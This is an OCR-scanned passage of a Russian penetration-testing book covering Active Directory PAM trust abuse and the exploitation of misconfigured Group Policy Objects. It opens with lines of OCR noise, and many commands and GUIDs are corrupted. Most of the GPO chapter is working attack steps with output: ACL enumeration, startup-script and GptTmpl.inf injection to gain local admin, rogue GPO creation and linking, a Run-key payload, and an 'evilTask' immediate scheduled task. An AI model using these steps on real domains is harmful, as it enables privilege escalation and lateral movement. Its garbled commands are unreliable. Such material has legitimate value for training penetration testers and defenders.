1,.1+ )'111< )1)1•0 .I Jl1/]'J<J/H'1/11 · 1,/1г!h1•1) \')} l lf,1•4,11•01 1.11,1,0, 1,111, / f l,/b 1Rr 111' 11,tO I0,1'1bf'l1гl1l1l14]11HIJ "l1•QM',,1Щ1 \1)1,J ·1и.11ь1 ,1.141, JbJ 19111,1}1 ;tl,,j(' 11 f }1(,f',11 11 OJr JIJ}1 111.11"/1l,1 o•J/1•t,hf1,1• .il11
dl,/1,( 1,,., О! ,,,,ы,0"1, / / , 1,o.,,,h11IH'lt,clt hJO,,R,11 4cl1H1f /4.J l 1Jfo.1 , Jf\t"{'d1'0'"11,Ь}I, l,1d( )'н•Jl,')l ,1t,I 1111,1,'lr 11•,1.,~ /1,!!(1011 h 1'>',IJ9 ""/ 1 fl1Jt, 111111 bf 1•'1R}l1blfФ/,•<J1,,.rtJHf' Jll 11Htf,1,t·Jr1111· 111•111•J1
11 ,11' 1, 1 :,11, /l,•)~>l>fl)( 1( !,/t)Ol,H1 1 0,1','JH 1]111 ,1/JRJ'I/ /<Jt,H()Jf ll>Чt .1)'>.11 '10 IJ1,d<l,JR4Jr1f'l 5f,',t,f 11111,1, нм:JdN. l,tJ'11J/(~>dl)dftbb]7901.i'.,7 i4d'J,11•f t,f8,1(,Jf.111910t .-•,f 1'111 t•(I( ,Н f1',l10t)') 'JJ1•!1) t1,1bl
Ч,1:1 .111 <tlh',1 /Hr IHOt11IЩ1'нlllH11 ·1,11!/ i ·11',1 /t•f ',9,н•!,fll ,•fIOOl ,•bl, IRb(,pc•RI 11bl Ч,нJ', J81 J ltl'J)O)OHli,1 lt1/hll']Nlif /Ьd.10-14b91,ФR1b;)lb191I{ d(,4t,,J(,;1{•'1R0I b8 /', b'1'1c9Ьf,f.,ЫrJr Jl,.l/ 1.19/rli•/
l '1/ J1191мrl /1•f1.1l1o1JO]-!l,01• libl1•8 l11<.CJI, f8',8Ь8K,18119t•}']91.idt l'Jf,t•I, 18')6.J/91''1d4 lt,9"(, JJ 1 t.Hlll I brll 4JIH)f1.1/]1.1J 7 l,17,11J1•',flll,tJlf9dR6'i'J;i;)(,0t lt1"190f (d0'>t,b'Jb8J,1 J.IOJp1•0/l'!i]'J/ 11•11 fi}
/!,Щ1J'1Ы 1107(• 1.,1 /t 11, /Ott' ]t t 111 t•91 IH} ,1,10', 11, l.t 1 /d01,d1,1,1, 1 1t• 1,11 ,1I, 71,,1')"1< 6.J1•1•1I091 l / bb lbflf11l',bt Rf1'J,1t•h l 11H')dl,fl8'}t,9',~ 17 fЬt>0Rbl\'i){.d8l.,t•Z. f d 71,0<,'J]b""/1!, r 7 ,н16~"t811 ,1 /C)j Ы,9"/ 1,1
Рис.
1.16.
Выполняем проверку
Эксплуатация
Чтобы злоупотребить РАМ
Trust,
мы должны получить пользователя , который вхо
дит в контейнер CN=Shadow Principal Configurat i on , CN=Services. Сначала требуется найти
пользователей из этого контейнера (рис.
1.17):
Часть
28
/.
Пентест
PS C: \ Users\Adrт11n1strator> Get-ADO Ject -SearchBase
CN•S adow Pr1nc1pa con 19urat1on,CN=Serv1ces," +
urationNam,ngcontext) - Filter • -Propert1es • 1 select Name.member,ms0S-ShadowPr1ncipalsid I fl
Name
member
Active Directory
Get-AORootDSE .con 1g
: Shadow Pr1nc1pal configurat1on
: {}
msDS - ShadowPr1nc1palS1d :
Name
member
: prodforest-ShadowEnterpri seAdm1n
: {CH=Adm1n1 strator ,CN=Users, DC=bast1on,DC= local}
msDS-ShadowPr, nc 1pals1d : s - l-S - 21 - 17659079б7-2493Sб00l3-34545785-Sl9
Рис.
#
1.17.
•
•
Поиск пользователей
Module
Get-ADObj ect -SearchBase ("CN=Shadow Princi pal Conf igurat ion, CN=Serv1ces, DC~pri v, IJC= local"
-Filter * -Properties * 1 select Name,memЬer,msDS-ShadowPrincipalSid I fl
АО
Я уже рассказывал выше, что означает данный вывод. Как только мы сможем
скомпрометировать пользователя из этого контейнера (memЬer), получим доступ, ко
торый имеет принципал, указанный в msDS-ShadowPrincipalSid. В нашем примере это
будет доступ, который имеют участники группы Enterpise Admins.
Мы можем получить доступ к обычному лесу с помощью
PowerShell, WMI и дру
RDP нам придется их
гих подобных инструментов без ввода учетных данных. Для
вводить.
Обратите внимание: если шифрование
Kerberos AES
не включено для доверия, нам
нужно изменить свойство wsмan Trusted.Нosts и использовать аутентификацию Negotiate
для
PSRemoting:
# production.local - это управляемый лес. Мы находимся в бастионном
Enter-PsSession dc.production.local -Authentication NegotiateWithimplicitCredeпtial
Другой вариант
позволяет
SID
-
использовать
SIDHistory
(опция /sids в мимике). Доверие РАМ
с высокими привилегиями пересекать доверие леса, которое обычно
фильтруется с помощью
SIDFiltering.
Заключение
Вот такой короткой получилась глава. Я надеюсь, что смог достаточно понятным
языком рассказать о сложных концепциях.
ГЛАВА
2
Эксплуатируем
небезопасные групповые политики
Основная причина успеха большинства взломов, будь то пентест или реальное про
никновение злоумышленников,
-
это допущенные администраторами ошибки
в настройках и конфигурации. Сегодня мы поговорим о способах эксплуатации
небезопасных групповых политик в сетях
Active Directory.
Структура
Групповые политики используются повсеместно. Это удобный инструмент, позво
ляющий системным администраторам управлять настройками клиентских систем
в домене. Сама «архитектура» групповых политик
-
клиент-серверная. Чаще всего
контроллер домена выступает в роли сервера, на котором создаются, настраивают
ся и изменяются политики, а доменные компьютеры, пользователи и иные объекты
в
AD -
клиенты, которые эти самые политики получают и применяют.
Групповая политика называется
Group Policy Object (GPO).
Внутри каждой
GPO
есть две сущности:
□
Group Policy Container - специальный объект, который имеет идентификатор
GUID, обозначающий групповую политику. Находится в CN=Policies, CN=System;
□
Group Policy Template - файлы
управлять объектами в AD.
GPO
применяется к
.Аомх и .ADML, позволяющие с помощью
Organizational Units
GPO
(организационным единицам). Можно счи
тать это некой папкой, в которой находятся пользователи, компьютеры и другие
объекты.
Изначально в только что созданном домене будут две политики:
назначается текущему домену;
□
Default Domain Policy -
□
Default Domain Controller's Policy -
назначается
контроллер домена. По умолчанию имя этой
А теперь зайдем в
тейнеры (рис.
2.1 ).
ADUC
OU,
OU -
и увидим, что наравне с
OU
в состав которого входит
Domain Controllers.
в домене существуют и кон
Часть
30
Пентест
.SpL'CterOps
Подр03д~ение
Admin
Подр•3Д~ение
Active Directory
ou
Описани~
Тиn
Имя
/.
.
Default container for upgraded computer •
.
Контей нер
Default conta iner for security identifiers (SIDs) associate...
Подра3Д~ение
Контейнер
Default container for key objects
lostAndFound
Default container for orphaned objects
Managed Service Ас ...
Контейнер
Default container for managed service accounts
People
Подр•3Д~ение
~ Program Data
Контейнер
Default location for storage of application data.
Подра,д~ение
Подра,д~ение
Контейнер
Builtin system settings
Testing
Подр•3А~•ние
Tier 1
Подра,д~ение
Tier2
Подр•3Д~ение
Users
Контейнер
Default container for upgraded user accounts
Рис .
Контейнеры
структуру
AD .
2.1.
В домене существуют и контейнеры
это лишь дополнительные объекты , позволяющие организовать
К контейнеру нельзя привязать
GPO.
Чтобы применить
тейнеру, сначала следует добавить его в соответствующую
зывать
GPO
OU
GPO
к кон
и уже к ней привя
GPO.
распространяется по сети через общий сетевой ресурс SYSVOL, который хранит
ся на контроллере домена. Все пользователи в домене обычно имеют к нему доступ
и периодически синхронизируются для обновления настроек своих объектов груп
повой
с:
политики.
Общий
\ Wi ndows \SYSVOL \sysvol \
ресурс
SYSVOL по
умолчанию
указывает
на
каталог
на контроллере домена .
Для синхронизации нужно время. Иногда на обновление настроек может уйти
до двух часов . Если нам требуется немедленная синхронизация , то на компьютере
надо ввести команду
gpupda t e / f orce
С
GPO
могут быть связаны какие-либо права . Например, пользователь Admin l llll
имеет право Gene ri cAll на политику users i nfo . Неправильная настройка таких прав
приводит к появлению векторов э ксплуатации , которые мы рассмотрим
главе .
Обнаружение
Обнаружить доступные
GPO
можно следующим образом (рис .
ls \\< дoмe н >\SYSVOL\< дoмeн> \Po licies\
В результате мы получим
GUID
всех доступных политик .
2.2):
в этой
Глава
2. Эксплуатируем небезопасные групповые политики
31
PS С: \Usеt·s\Ад1.tинистратор. WIN-9BEК1LQS7SI> 1s \\cri nge. 1 ab\SYSVOL \cri nge~l аЬ\Ро 1i"ci es\
Каталог:
\\ct·inge. lab\SYSVOL\cringe. lab\Policies
Mode
Last:Writ:eTime
d----d-----
09.01.2023
09.01.2023
Lengt:h Name
{31B2FЗ40-016D-11D2-945F-OOC04FB984F9}
{бAC1786C-016F-11D2-945F-OOC04fB984F9}
22:31
22:31
Рис.
Если у нас есть доступ к
вот так (рис.
2.2.
Доступные
GPO
Active Directory Module,
то сможем получить информацию
2.3):
Get-ADObject -LDAPFilter "(ObjectClass=GroupPolicyContainer)" -Properties Name,
DisplayName,gPCFileSysPath I select Name, DisplayName,GPCFileSysPath I Format-List
Рис.
Наконец,
2.3.
Получение информации с использованием
PowerView
Active Directory Module
имеет такую же функциональность (рис.
2.4):
Get-NetGpo
PS
С : \ Usеr· s\Адuинистратор. WIN - 98EK1lQS7SI>
usncr·eated
sy ~temflags
di s p1ayname
gpcmachi neext en s ; onnames
whenchanged
cbject c las s
-gpcfunctiona l 'ityversion
show-i nadvancedvi e\Vonly
usnchanged
'd sco1·ep1·opagat i ondata
narne
adspath
get - netgpo
5900
- 194615705 б
0efault Oornain Pol i cy
[ { 35 3 78f.AC - 683F-1.102-A89A-0OC04FBBП А2} {5 ЗDbABlB- 2488-1101-A28C-0OC04FB94Fl7} ] { { 827D319f-6fAC- 1.1D2- A4EA - 0OC04 F79
4F 79F83A} {5 ЗDбАВlВ - 24 88-1101 - A28C - 0OC04FB94Fl 7}]
09.01.2023 17:37:40
{ top, container, groupPolicyContainer}
,
Тгне
12589
{09.01 .2023 17:49:49, 09.01.2023 17:49:48, 09.01.2023 17:49:47, 09.01.2023 17:49:46 . . . }
{ 3182FЗ40-0160-11 D2 - 945 F - 0OC04F8984F9}
LDAP : //CN={31B2F 340-016D-1102-945F-OOC04FB984F9} ,CN=Poli ci es ,CN=:Systern,OC=cri nge,OC=l аЬ
flag s
о
cn
{ 318 2F 340-0160-1102 - 94 5F- 0OC 04FB 984 F9}
True
\ \ cri nge. 1 ab\s ysvo 1\ cringe. lab\Pol i ci 4!S\{ 31B2F340- 016D-1102-945F-OOC04FB9S4F9}
CN"'{ J1B2F 340- 0160- 1102-945 F - OOC04FB984F9} ,С N=Po 1 i ci es ,CN=System, OC=cri nge, ОС= 1 аЬ
09.01 . 2023 1 7: 31:02
J
4
60f7abe9-bbc.З-4af 3- bff 4-0aa39d5 Ja54d
CN=Group-Po l i cy- Cont ai ner, C~Schema ,Ctt=Conf i gur ati оп, DC=c1·i nge , ОС= 1аЬ
'i sct·itl calsystemobject
gpcfilesyspath
di stingui shedname
,vhencreated
vers i onnumber
:1n;tancetype
-obJect91нd
;. objectcategory
\1s nci·eated
systernf l ags
·d lsplayname
gpanachi neextens i onnames
'Whent.hanged
objectclass
,gpcfunct;ona 1 ityver si on
showinadvancedviewon ly
usnchanged
dscorepropa.gat i onddta
name
ads.path
f lags
cn
i s cr i tica l syst emobj ect
gpcfi 1 esyspath
d1 st1 ngui stiedname
\\/hen created
ver s ion1н1mber
i nst ancetype
obJectguid
Iobj ectcategory
5903
-1946157056
0efault Domain Co11tro llers Policy
{ {82 70319E-6EAC-1.102-A4EA-OOC04F79F8ЗA}{ 80ЗЕ.14АО-В4J:В-1100-АООО-ООАОС90F5 748} ]
09.01.2023 17:31:02
{top, c:ontainer, groupPolicy(ontainer}
2
Тгuе
5903
{09.01.2023 17:49:49, 09.01.2023 17:49:48, 09.01.2023 17:49:47, 09.01.2023 17:49:46 ... }
{бAC1786C-016F-11D2-94SF-0OC04fB984F9}
L0AP ://Ot={ бAC178бC - 0lбF -U02-945F-OOC04f8984F9}
,СН=Ро 11 c:i es
,CN=-System,OC=crl nge,OC= 1 аЬ
о
{ бАСl 786С -016F - 1102- 94 5 J:- ООС 04 f В984 F 9}
True
\ \c:r l nge. 1 ab\sys vo 1\ cr i nge. 1аЬ\ Ро 1 i c:i es \ { 6AC1786C-0lбF-11D2-945 F-OOC04f8984F9}
CN• { бАС1 7 В6С - 0161: -11 D2 - 94SJ:- OOC04 f89&4F9} , CN..,Po 1 i с i es ,CN=Sys tem, OC= cri no~, ос" 1 аЬ
09.01.2023 17: 31:02
1
4
eS 8880f d - 4910-4220- 8cdf - Зd064d2 З 7За2
CN" G1·0L1p- Ро 1 1cy- Conta 1ner ,CN:,:,Schema ,C N...Confi 9L1rat; оп, OC=c:ri nge, ос " 1 аЬ
1
Рис.
2.4.
Получение информации с использованием
PowerView
32
Часть
/.
Пентест
Active Directory
GUID получить имя политики. Конечно , AD Module и
PowerView умеют делать это самостоятельно, но в случае, если у нас есть только
GUID, имя можно получить следующим образом (рис . 2.5):
Теперь желательно из
# RSAT
Get- Gpo - GUI D ' (205 F0E03 -1 7C3-4E 9B- 925E- 330FAD565CA1) '
# PowerVi ew vЗ
Ge t-Domai nGPO - Ident i ty ' ( 205F0E03- l 7C3 -4E9B- 925E- 330FADS6SCA1) '
PS
C:\Users\Aдuиниcтpaтop.WIN-9BEК1LQS7SI>
DisplayName
;Domai nName
p,vner
Id
GpoStatus
Description
CreationTime
ModificationTime
UserVersion
Compt,terVersion
\mli Fi lter
1
select Displ ayName
Get-Gpo -gu i d '{6AC1786C-016F-11D2-945F-OOC04f8934FS}'
Oefault Domain Controlle,·s Policy
cringe.lab
СRINGЕ\Адuинистраторы доuена
бac178бc-Olбf-11d2-945f-00c04fb984f9
AllSettingsEnaЫed
09.01.2023 22:31:02
09.01.2023 22:31:02
АО
АО
Version: о, SysVol Version: О
Version: 1, SysVol Version: 1
Рис.
2.5.
Получение имени политики
Мы также можем изучить политики, привязанные к определенному устройству
(рис.
2.6):
# PowerView v2
Get-Net GPO - Compute r Name name. domai n. com
Рис.
2.6.
Изучаем политики, привязанные к определенному устройству
Глава
2.
Эксплуатируем небезопасные групповые политики
33
# PowerView vЗ
Get-DomainGPO -Computerldentity name.domain.com -Properties Name, DisplayName
Наконец, самое интересное. Пора изучать все ACL на найденные GPO, пытаясь
найти мисконфиr. Сделать это можно с помощью разных средств. Чаще всего ис
пользуются или BloodHound, или PowerView (рис.
2.7):
# PowerView v2
ACL на все политики
Get-NetGPO 1 % (Get-ObjectAcl -ResolveGUIDs -Name $ .Namel
#
Получение
#
Найти
GPO, на которые пользователь student имеет права
Get-NetGPO 1 %(Get-ObjectAcl -ResolveGUIDs -Name $_.Namel
-match "student"I
PS A: \SSD\Projects\Artictes> Get-NetGPD 1 ,
{Get-ObjoctAct
,; •
?($_.IdentityReference
,,..,. S_. lluJo}
InheritedObjectType
АН
Obj ectDN
ObjectType
ldentityReference
CN={ЗlB2FЗЧ&-elбD-llD2-9Ц5F-OOCDЧFB98'1F9}, CN=Po ticies, CN=Syste~, DC=cringe, DC=t~b
Islnherited
ActiveDirectoryRights
Propagat ionFl.ags
Att
CRINGE\vaska
Fa\se
CreateChi\d , DeteteChild, Setf, ~riteProperty I DeteteTree , Detete , Gen@ricRead, WriteDact, Writi!Owner
lnheritOnty
ObjectFl.igs
None
lnherita.nceFtags
lnhf'ritanceType
Containerlnherit
AccessControt Туре
Descendents
Attow
Рис.
2.7.
Поиск ошибок в конфиrурации
Пользователь vaska имеет подозрительно высокие права на GPO с GUID 131B2F340016D-11D2-945F-OOC04FB984F91. PowerView третьей версии (он же PowerView DEV) не
отстает от своего младшего собрата, но отличается тем, что не умеет автоматически
преобразовывать SID в понятное для человека имя пользователя, поэтому в конец
каждого командлета добавляется огромная строка:
# PowerView
vЗ
ACL на все политики
Get-DomainGPOIGet-DomainObjectAcl -ResolveGUIDs I Foreach-Object ($ 1 Add-MemЬer
-NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.Securityldentifier.value)
-Force; $_ 1
#
Находим
# Находим GPO, на которые у пользователя domain\user есть права
Get-DomainGPOIGet-DomainObjectAcl -ResolveGUIDs I Foreach-Object ($_ 1 Add-MemЬer
-NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $ .Securityldentifier.value)
- Force; $_ 11 Foreach-Object (if ($_ .Identity -eq $("domain\user'')) ($_ 11
# Находим GPO, на которую пользователи с RID > 1000 имеют какие-нибудь права
Get-DomainObjectAcl -LDAPFilter '(objectCategory=groupPolicyContainer)' 1 ? (
($_ .Securityldentifier -match •лs-1-5-.*-[1-9]\d(З, 1$') -and ($_ .ActiveDirectoryRights
-match 'WritePropertylGenericAlllGenericWrite)WriteDacllWriteOwner') 1
(кроме ожидаемых, таких как Enterprise Admins, Domain Admins) ,
GPO
Get-DomainGPO I Get-DomainObjectAcl -ResolveGUIDs I where ( $_.ActiveDirectoryRights
-match "GenericWritelAllExtendedRightslWriteDacllWritePropertylWriteMemЬerlGenericAlll
#
Обнаружение пользователей
которые могут изменять
Часть
34
/.
Пентест
Active Directory
WriteOwner" -and $_.Securityldentifier -match "S-1-5-21-3301805923-005976665-244893303[\d] {4,10}"}
Наконец, можно использовать ВloodHound:
//
Находим nолитики,
на которые nользователь USER@OOМAIN.LOCAL имеет nрава
match p=AllShortestPaths 1 (u: User {name: "USER@DOМAIN. LOCAL"}}
-[r:MemЬerOflGenericWrite*l .. ]->(o:GPO}} return р
Теперь, обнаружив политики и возможный мисконфиг в виде пользователя '1aska
с подозрительными привилегиями, можно приступать к получению учетной записи
этого пользователя. Причем разведка на этом не заканчивается, мы можем обнару
жить объекты, которые имеют право создавать новые
GPO
в домене:
Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=cringe,DC=lab" -ResolveGUIDs
where { $_.ObjectAceType -eq "Group-Policy-Contaшer" }
Чтобы найти все
OU, на которые
2.8):
распространяется политика, воспользуемся вот
таким скриптом (рис.
# PowerView v2
Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}"
1
% {Get-NetComputer -ADSpath $ }
# PowerView vЗ
Get-DomainOU -GPLink '{<GPP_GUID>}' 1 % {Get-DomainObject -SearchBase
$_.distinguishedname) lselect samaccounttype, cn
PS
С :\U s еrs\Ддuинистратор. WIN - 9BEК1LQS7SI >
usncreated
6031
systefltflags
i scг;t 1са lsystemobject
True
get - domainoн
-gp l 111~
{6AC17SбC - 011,F - 11D2 - 94SF - OOC04fB984F9}
- 194б1S70S б
gplir1k
whencl1a11ged
obj ect с 1ass
[ LDдP: / /CN = {бAC1 7 86C - 016F - 11D2 - 94 S F - 0OC04 f B984F9 } ,CN =Po li с1 es ,CN =Sy s tem, ОС = с п n9e , ОС = l a b; О )
09.01.2023 17:31:03
s hm\'i ,,advancedv; e-.,·only
Fal se
6031
{09.01.2023 1 7: 49:48, 09 . 01 . 2023 1 7 :49:48, 09.01.2023 1 7 :49:48, 09.01 . 2023 17 : 49:4 7 .. . }
usncl1a11ged
dsco,~ep,~opagat i ondat а
name
{top, 01·ga11izationa1Unit}
Oll
Domai n Contro 11 ers
Oefault container for domain controllers
OU=Oomai n Contr ol 1 ers , OC =et· i nge, ОС = l аЬ
Oomaln Controller s
\"hencreated
i nstancetype
obJectguid
09.01.2023 1 7 :31:03
4
fff92b&d - 194&- 4 71S - 9асб - 02080249fЬ3с
objectcategory
CN,:,Organ 1 zati опа 1- Unit ,CN=Schema, C~onf i
des cript i on
di s.tingui s.hedname
Рис.
2.8.
Поиск
OU,
gнrat lon, OC=cri nge , ОС = 1 аЬ
на которые распространяется политика
Теперь поищем пользователей, которые могут связывать
GPO
с
OU:
Get-DomainOU I Get-DomainObjectAcl -ResolveGUIDs I where ( $_.ObjectAceType -eq "GP-Link"
Get-DomainOUIGet-DomainObjectAcl -ResolveGUIDs I where { { ($_.ObjectAceType -match
"GP-LinklGP-Options"} -and ($_.ActiveDirectoryRights -eq "WriteProperty"}} -or
{$_.ActiveDirectoryRights -eq "WritePropertylGenericAlllGenericWrite"}} IForeach-Object
{$_ Add-MemЬer -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID
$_.Securityldentifier.value} -Force; $_}
1
Глава
2.
Эксплуатируем небезопасные групповые политики
35
Эксплуатация
mmc
Криво настроенные права можно э ксплуатировать и с помощью стандартного при
л ожения mmc.e xe, установленного на каждом компьютере с
Windows.
Сначала запус
каем это приложение от лица пользователя , имеющего права на какую-либо поли
тику . Далее добавляем нужную оснастку (рис.
2.9).
Консоль 1 - [Корень консоли]
Файл
Действие
Справка
Окно
Избранное
Вид
Ctrl+N
Со:,дать
Открыть .. .
Ctrl+O
Сохранить
°CTRL+S
Сохранить как ...
CТRL+M
Добавить или удалить оснастку...
Параметры ,..
1 gpme
2dsa
Выход
Рис .
Добавляем оснастку
2.9.
Эксплуатация с использованием
Group Policy Management,
2. 1О) .
mmc.exe
выбираем политику и тогда смо
жем ее редактировать (рис .
Лес
v
cringe.lab
Область
Домены
v
v
Сведения
Параме-
До~...,.
с..-
cringe.l11b
Defou~ Domoin Policy
.SpecterOps
Admin
Пока:sо,ь свя:sи в раа,оnсnнии :
С
_ _ _ _ _ _ _ _ _ _ _ _ _ _---<
--=-_mЬ
atr,ge
._
GPO с::ея3аны слеД)'IОЩие с8'111Ы , доме11::~1 и ПOA)83fJl'Jneни• :
Ра3МеU1ение
Dom11in Controllers
nnm,.,, r.nгtrt>len
• Default OomJin Cor••0'\-11 ..... 0,...1;..,,
И3менить ...
Grouper-Groups
Принудительный
People
AWS
Семь включена
✓
AZR
Сохранить отчtт...
Вид
Но еое Ol(HO отсюда
Удолить
Переи.меноеать
Обновить
Справка
Рис .
2.1О .
Редактирование политики
Прину""те,.,,.,IА
Сея3Ь3а~"УеОе
Нвт
.а.
Часть
36
/.
Пентест
Active Directory
Например, создадим юзера, зайдя по следующему пути:
Computer configuratioп > Prefereпces > Coпtrol Рапеl Settings > Local Users and Groups >
New > Local User > Action: Create > User name: <user>
А затем добавим его в группу локальных администраторов:
Computer configuration > Preferences > Control Panel Settings > Local Users and Groups >
New > Local User > Action: Update > Group name : <Administrators> > MemЬers: Add: <user>
Файл
.ini
Этот способ я подсмотрел у Дмитрия Неверова, руководителя группы анализа за
щищенности внутренней инфраструктуры в компании «Ростелеком-Солар». Чаще
всего доступа к графическому интерфейсу у нас не будет, поэтому придется либо
использовать инструменты, описанные ниже, либо вручную создавать специальный
конфигурационный файл.
Например, если наша задача
-
выполнить скрипт на конечных устройствах, то
сначала нужно создать каталог \Machine\Scripts\Startup в корне
GPO
и поместить
в него скрипт Test.psl. В скрипте могут быть абсолютно любые команды. Следую
щим шагом в каталоге \Machine\ в корне
GPO
потребуется открыть файл psscripts.ini.
Это скрытый файл. Если файла не существует, его нужно создать. Содержимое
файла будет таким:
[Startup]
0CmdLine=Test.psl
0Parameters=
Этот файл содержит ссылку на скрипт, который нужно выполнить. Также при не
обходимости в нем прописываются параметры выполнения (когда они есть). Если
нужно запустить несколько скриптов, первый символ в этом файле будет инкре
ментироваться. Для скриптов .bat используется файл scripts. ini.
После завершения подготовительных действий остается только изменить атрибут
gpanachineextensionnames с помощью PowerView:
Set-DomainObject -Identity VнlnGPO -Set @( 'gpcmachineextensionnames'~
'[{42B5FME-6536-11D2-AE5A-0000F87571E3}(40B6664F-4972-11D1-A7CA-0000F87571E3}] '}
Значения
42B5FAAE-6536-l lD2-AE5A-0000F87571E3 И 40B6664F-4972-llDl-A7CA-0000F87571E3 доку
ментированы как ProcessScriptsGroнpPolicy и Scripts
в
(Startнp/Shнtdown). Используя их
GPO, мы создаем возможность выполнения скрипта при применении групповой
политики.
Причем если атрибут gpanachineextensionnames уже содержит другие записи, то их то
же нужно внести в команду. Также стоит изменить параметр Version в файле GPT.ini
на единицу. Теперь после перезагрузки компьютера скрипт тest.psl будет выпол
нен. По умолчанию задержка на выполнение скриптов составляет пять минут.
Подобным образом можно добавлять локальных администраторов на компьютере.
Сначала создаем файл GptТmpl.inf по пути \Machine\Microsoft\Windows NT\SecEdit (иногда
Глава
2.
37
Эксплуатируем небезопасные групповые политики
эти каталоги отсутствуют и их придется создать). Содержимое файла будет сле
дующим:
[Unicode]
Unicode=yes
[Version ]
signature= "$ C НI CAGO$"
Revis ion=l
[Group MemЬership]
•s-1- 5- 32 - 544 MemЬers
=
*S-l-5-21-2722789902-3858190539-1593706810-1119
Здесь к локальной группе локальных администраторов (s-1-5- 32-544 ) добавляется
SID
доменного пользователя (s-1-s-21-2722789902- 3858 190539-15937068 10-1 119). При до
бавлении пользователя в группу локальных администраторов необходимо учиты
вать порядок применения
GPO.
Наши действия могут привести к тому, что леги
тимные локальные администраторы будут удалены из группы локальных админи
страторов, поэтому стоит добавить и их
SID
в файл GptТmpl. inf через запятую.
Следующий шаг заключается в изменении атрибута gpanachineextensionnames, эту за
дачу можно выполнить с помощью
PowerView:
Set -DomainObject -Identity VulnGPO -Set @{ 'gpcmachineextensionnames'=
'[(8 27D319E-6EAC-11D2-A4EA-00C04F79F83A){803El4A0-B4FB-11D0-A0D0-00A0C90F574B)] ')
827D319E- 6EAC- l 1D2-A4EA-00C04F79F83A имеет значение Securi ty, а 803El4A0-B4FB-11D0-A0D000A0 C90 F574B - Computer Restricted Groups. Применяя их к GPO, мы можем изменять
списки участников локальных групп.
Помните: если атрибуты gpcuserextensioппames и gpanachiпeexteпsioппames уже содержат
другие записи, их также нужно внести в нашу команду
PowerView.
Наконец, не за
будьте изменить параметр Versioп в файле GPT.ini на единицу.
Создание
GPO
Если на этапе разведки получилось обнаружить пользователя, который имеет право
GPO и связывать ее с OU, то это также может помочь при эксплуатации.
PowerView не имеет возможности создавать GPO,- поэтому следует использовать
RSA Т (https://www.microsoft.com/ru-RU/download/details.aspx?id=45520). Уста
новка этой утилиты не представляет никаких сложностей (рис. 2. 1 1):
создавать
Add-WiпdowsCapability -Опliпе
-Name
Rsat.GroupPolicy.Maпagemeпt.Tools.0 .0. 1 . 0
Import-Module GroupPolicy
;,5 С :\Usеrs\Адuинистратор. WIN-9BEК1LQS7SI> Add-W1 ndoi.-.,sCapab1 l 1ty
Path
:
)nline
: True
-1"ri •
r,,e
-~.а ... е
Rsat. GroupPol 1 cy.Management. Tools. О. 0.1. О
RestartNeeded : False
i'S С :\Usеrs\Адuинистратор. WIN-9BE.К1LQS751> Impo,·t-Modul е GroupPo 11 су
Рис.
2.11.
Установка
•
RSAT
Часть
38
/.
Пентест
Active Directory
PS С :\Usеrs\Ддuинистратор. WIN-9BEК1LQS7SI> Ne\v-Gpo -Name TestGPO
DisplayName
DomainName
O\vner
Id
GpoStatus
Desc,·i pti on
CreationTime
~1odifi cati onTime
UserVer sion
Comp,1terVe1·s i on
TestGPO
c,·i nge. 1аЬ
СRINGЕ\Ддuинистраторы доuена
беЗс90fе - ЗЗ1е-4574-88f2 -с е9З47752dЗ2
А 11 Setti ngsE11aЫed
26.01.2023 17:07:09
26.01.2023 17:07:10
AD Version: О, SysVol Version: О
AD Ve,·s i on: О, SysVo 1 Ve,·s i on: О
\mli Fi lt et·
Рис.
Заводим новую
GPO
(рис.
2.12.
Заводим новую
GPO
2.12):
New-Gpo -Name TestGPO
Связываем с
OU
Get-GPO TestGPO
11 ', (
I
\ O" t•t ... \ Адuи1ш1 1 ~)d IЩJ.
(рис.
New-GPLink -Target "ou:Test,dc:domain,dc:local"
wI N
9111 к I t 1}~/'}1 ~ ( ,i•I
(,11i1.,ltl
: l11 •lt'Юf1• lllt· 4'1 / 4
1)1,1,l,1yN,11n1· • lt•-.. 1(,f'l)
1r LH'
i r1,1l1l1-d
lr1 f111t1'fJ
l,1l -.. 1
l ,нqt•I
011
1
Otd1·r
2.13):
IШI J
(,110
1 ,, .. 1 (,РО
I
Nl'\1'
<,,. l 111~
1 ,11 ф•I
'"сНJ
'•t'I V 1( (•Л< ( (II HII ... ,(Н1 ()(.( ,OII 1 't't
1 , l(
( ' 1 IЩС
1)1.
1 t! 1'
t1•'}!4//'Jl<II/
~ 1·1· v111•A1toш1l-..,OU Ш.l,OU
11 ◄ ·1
l,IX
tt 111111 · ,IX
Рис.
2.13.
ldb
Связываем с
OU
После успешного связывания можно либо вручную изменять созданную
GPO,
как
было показано выше, либо использовать для этого подходящие инструменты,
например
SharpGPOAbuse (https://github.com/FSecureLABS/SharpGPOAbuse)
pyGPOAbuse (https://github.com/Нackndo/pyGPOAbuse).
Когда работы завершатся,
GPO
будет отвязана от
или
OU:
Remove-GPLink -Name TestGPO -Target "ou:Test,dc:domain,dc:local"
И удалена:
Remove-GPO -Name TestGPO
Перемещение через
GPO
Ничто не мешает нам использовать
Опять же ставим
GPO
как средство бокового перемещения.
RSA Т:
Add-WindowsCapability -Online -Name Rsat.GroupPolicy.Management.Tools.0.0.1.0
Import-Module GroupPolicy
И изменяем созданную политику, добавляя в реестр (в ключ автозагрузки) наш
пейлоад:
Set-GPPrefRegistryValue -Name 'Totally Legit GPO' -Context Computer -Action Create -Кеу
'HКLM\Software\Microsoft\Windows\CurrentVersion\Run' -ValueName 'Updater' -Value 'cmd.exe
calc.exe' -Туре ExpandString
/с
Глава
2.
Эксплуатируем небезопасные групповые политики
Если установить
RSA Т
39
нет возможности, то можно импортировать
PowerShell-
(https://github.com/Зgstudent/Нomework-of-Powershell/ЫoЬ/master/New
cкpипт
GPOimmediateTask.psl),
который позволяет создать запланированную задачу:
New-GPOimmediateTask -TaskName evilTask -Command and -CommandArguments
c:\dsec\getadmin.cmd" -GPODisplayName "Vict1mGPO" -Verbose -Force
"/с
Заключение
Групповые политики стоят далеко не на самом первом месте в чек-листе типовых
уязвимостей
Active Directory.
Тем не менее, злоупотребляя ими, атакующий сможет
получить чрезвычайно выгодное положение, захватив сразу целый
главное
-
OU.
Самое
не забывайте, что изменения применяются далеко не сразу. Компьюте
рам нужно время для синхронизации. Если ждать нет возможности, используйте
команду
gpupdate /force.
ГЛАВА
3
Пентестим
